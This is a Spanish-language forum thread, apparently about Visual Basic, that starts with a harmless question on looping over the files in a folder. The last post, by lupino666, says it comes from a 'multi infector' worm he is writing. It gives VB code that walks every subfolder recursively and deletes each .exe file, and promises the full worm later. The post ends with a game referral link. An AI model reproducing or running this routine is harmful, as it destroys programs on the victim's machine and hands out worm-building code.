Recorrer Archivos

[el_chente23]

Hola a todos, tengo una duda, ¿ como puedo recorrer los archivos de una carpeta en un bucle sin usar un filelist?, lo consegui con eso, pues es sencillo, pero quisiera saber como se hace sin controles.

Saludos

[Slasher-K]

Mira el siguiente post que es exactamente lo que estás buscando.

Ejemplo de Worm (gusano) en VB

Saludos.

[el_chente23]

No logre entender muy bien, parece ser que lo que hace es recorrer un directorio y sus subdirectorios, lo que yo necesito es recorrer los archivos de un directorio especifico, para sacar algunas propiedades de esos archivos.

PD: ese post es muy bueno, no lo habia visto

Saludos

[Slasher-K]

Las funciones son FindFirstFile, FindNextFile y FindClose. En el siguiente post se muestra más resumido el uso de estas funciones. Si lo modificas un poco para que actúe de función recursiva es lo mismo que el ejemplo que te mostré anteriormente.

Problemas al detectar directorios en una unidad

Saludos.

[lupino666]

mira lo que yo ago para recojer todo los archivos de la pc

esto lo estoy usando en la creacion de un worm multi infector

el worm rastrea el los .exe y se los pasa a la funcion infectar exe

en este caso no la pongo despues pongo el worm completo 

Código [Seleccionar] Expandir

Dim carpetaS As New Collection
sub carpetas(path as string, nº as long)
Set fso = CreateObject("scripting.filesystemobject")

If fso.getfolder(path).SubFolders.Count = 0 Then: Exit Sub
For Each i In fso.getfolder(path).SubFolders
    carpetaS.Add (i)
    nº = nº + 1
    DoEvents
    carpetas i, nº
    For Each j In fso.getfolder(i).files
     If fso.getextensionname(j) = "exe" Then
                       fso.deletefile j             'borramos los exe
                                 
    End If
    Next
Next
end sub
______
http://world5.monstersgame.es/?ac=vid&vid=58141462
pincha mi link